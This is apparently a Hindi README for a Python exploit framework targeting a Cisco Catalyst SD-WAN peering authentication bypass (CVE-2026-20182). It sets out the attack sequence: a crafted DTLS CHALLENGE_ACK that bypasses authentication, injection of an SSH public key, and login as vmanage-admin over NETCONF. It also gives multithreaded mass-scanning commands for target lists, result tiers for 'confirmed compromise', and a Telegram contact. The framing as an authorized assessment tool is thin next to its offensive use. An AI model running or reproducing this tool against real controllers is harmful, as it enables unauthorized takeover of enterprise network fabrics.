
Cisco Catalyst SD-WAN पीयरिंग प्रमाणीकरण बाईपास
Cisco Catalyst SD-WAN पीयरिंग प्रमाणीकरण बायपास
Cisco Catalyst SD-WAN Controller / Manager पीयरिंग प्रमाणीकरण बायपास (CVE-2026-20182) के अधिकृत परीक्षण हेतु आकलन उपकरण।
| CVE | CVE-2026-20182 |
| गंभीरता | क्रिटिकल (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| उत्पाद | Cisco Catalyst SD-WAN Controller (पूर्व में vSmart) · Cisco Catalyst SD-WAN Manager (पूर्व में vManage) |
| समस्या | पीयरिंग प्रमाणीकरण तंत्र सही ढंग से लागू नहीं किया गया |
| स्क्रिप्ट | CVE-2026-20182.py |
मई 2026 एडवाइज़री: कंट्रोल-कनेक्शन हैंडशेकिंग / पीयरिंग प्रमाणीकरण में एक दोष बिना प्रमाणीकरण वाले रिमोट हमलावर को प्रमाणीकरण बायपास करने और प्रभावित सिस्टम पर उच्च-विशेषाधिकार वाली आंतरिक पहुंच प्राप्त करने की अनुमति देता है।
हमलावर प्रभावित सिस्टम पर निर्मित अनुरोध (crafted requests) भेजता है। सफल होने पर, हमलावर आंतरिक, उच्च-विशेषाधिकार वाले, गैर-root खाते के रूप में प्रमाणित हो सकता है और NETCONF तक पहुंच सकता है, जिससे SD-WAN फ़ैब्रिक कॉन्फ़िगरेशन में हेरफेर संभव हो जाता है।
| आइटम | विवरण |
|---|---|
| हमला वेक्टर | नेटवर्क |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | परिवर्तित |
| प्रभाव | गोपनीयता, अखंडता और उपलब्धता — उच्च |
अनुशंसा: आधिकारिक विक्रेता मार्गदर्शन के अनुसार Cisco सुरक्षा फिक्स लागू करें। प्रबंधन प्लेन (management plane) के एक्सपोज़र को प्रतिबंधित करें, कंट्रोल-प्लेन कनेक्शन की निगरानी करें, और अनधिकृत कॉन्फ़िगरेशन परिवर्तनों के लिए SD-WAN कंट्रोलरों का ऑडिट करें।
Telegram: @KNxploited
CVE-2026-20182.pyCisco SD-WAN vdaemon (UDP/DTLS 12346) के विरुद्ध CVE-2026-20182 हेतु Python 3 एक्सप्लॉइट फ्रेमवर्क।
| चरण | चरण | विवरण |
|---|---|---|
| 1 | लक्ष्य लोड करें | targets.txt पार्स करें, (host, domain_id, site_id) के आधार पर डुप्लिकेट मर्ज करें |
| 2 | OpenSSL प्रीफ़्लाइट | कस्टम DTLS के लिए OpenSSL 3.x/4.x शेयर्ड लाइब्रेरी लोड करें |
| 3 | DTLS कनेक्ट | लक्ष्य UDP पोर्ट से कनेक्ट करें (हमेशा पहले 12346, फिर वैकल्पिक सूची पोर्ट) |
| 4 | CHALLENGE | सर्वर से CHALLENGE (0x08) प्राप्त करें |
| 5 | CHALLENGE_ACK | निर्मित CHALLENGE_ACK को vHub (type 2) के रूप में भेजें — प्रमाणीकरण बायपास |
| 6 | Hello | Hello एक्सचेंज पूरा करें — बायपास पथ की पुष्टि करता है |
| 7a | CHECK मोड | यहीं रुकें — केवल बायपास / Hello OK रिकॉर्ड करें (कोई कुंजी नहीं, कोई SSH नहीं) |
| 7b | FULL मोड | VMANAGE_TO_PEER के माध्यम से SSH सार्वजनिक कुंजी इंजेक्ट करें |
| 8 | Inject ACK | प्रोटोकॉल स्वीकृति के रूप में REGISTER_TO_VMANAGE (0x0D) की अपेक्षा करें |
| 9 | SSH सत्यापन | TCP 830 (NETCONF), वैकल्पिक 22 पर vmanage-admin के रूप में लॉगिन परीक्षण करें |
| 10 | आउटपुट | निष्कर्षों को टियर फ़ाइलों + मानव-पठनीय कमांड सूची में क्रमबद्ध करें |
फ़ैब्रिक फ़ॉलबैक: TEAR_DOWN या पैरामीटर बेमेल पर, --no-fallback न होने तक वैकल्पिक domain/site प्रीसेट (1,100), (1,1), (0,0) के साथ पुनः प्रयास करता है।
| टियर | फ़ाइल | अर्थ |
|---|---|---|
| 01 — पुष्ट SSH | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — केवल यही टियर पूर्ण समझौते का प्रमाण माना जाता है |
| 02 — केवल Inject ACK | cisco_sdwan_02_inject_ack_only.jsonl | प्रोटोकॉल ने कुंजी इंजेक्शन स्वीकार किया; SSH लॉगिन विफल |
| 03 — केवल बायपास | cisco_sdwan_03_bypass_only.jsonl | Hello/बायपास OK; कोई पुष्ट इंजेक्शन नहीं |
महत्वपूर्ण
check मोड → अधिकतम टियर 03 (बायपास प्रोब)। नहीं पूर्ण एक्सप्लॉइटेशन प्रमाण।full मोड → टियर 01 (ssh_verified) का लक्ष्य रखें।https://host → केवल TCP वेब संकेत (80/443)। नहीं 443 पर UDP DTLS।| आवश्यकता | नोट्स |
|---|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | 3.x या 4.x शेयर्ड लाइब्रेरी (libssl + libcrypto) — अनिवार्य |
pip install -r requirements.txt
Windows
bin\ को PATH में जोड़ें, या सेट करें:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
यदि OpenSSL लोड नहीं किया जा सकता तो टूल स्टार्टअप पर बाहर निकल जाता है।
python CVE-2026-20182.py
0 = स्कैन लॉन्च करेंcheck (सुरक्षित बायपास प्रोब)python CVE-2026-20182.py -y
| मोड | फ़्लैग | SSH इंजेक्ट | SSH सत्यापन | कब उपयोग करें |
|---|---|---|---|---|
| CHECK | --mode check (डिफ़ॉल्ट) | नहीं | नहीं | बड़े पैमाने पर स्क्रीनिंग, बायपास पहचान |
| FULL | --mode full | हाँ | हाँ (जब तक --no-ssh-verify न हो) | समझौते का प्रमाण |
CHECK — केवल बायपास प्रोब
python CVE-2026-20182.py -y --mode check
FULL — कुंजी इंजेक्ट करें + SSH सत्यापित करें (केवल अधिकृत लक्ष्य)
python CVE-2026-20182.py -y --mode full
-f / --file — लक्ष्य सूची (डिफ़ॉल्ट: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — वर्कर थ्रेड (1–200, डिफ़ॉल्ट 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — सूची में न होने पर डिफ़ॉल्ट DOMAIN_ID (डिफ़ॉल्ट: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — सूची में न होने पर डिफ़ॉल्ट SITE_ID (डिफ़ॉल्ट: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — इंटरैक्टिव मेनू छोड़ें; केवल CLI मान उपयोग करें
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — इंजेक्शन के बाद का SSH परीक्षण छोड़ें (full मोड में अनुशंसित नहीं)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — 830 के बाद TCP 22 भी आज़माएँ
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — केवल UDP 12346; सूची से :port अनदेखा करें
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — लैब: हर होस्ट पर अतिरिक्त UDP पोर्ट
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — TEAR_DOWN पर domain/site पुनः प्रयास अक्षम करें
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — प्रत्येक प्रोटोकॉल TX/RX संदेश लॉग करें
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y छोड़ा जाए)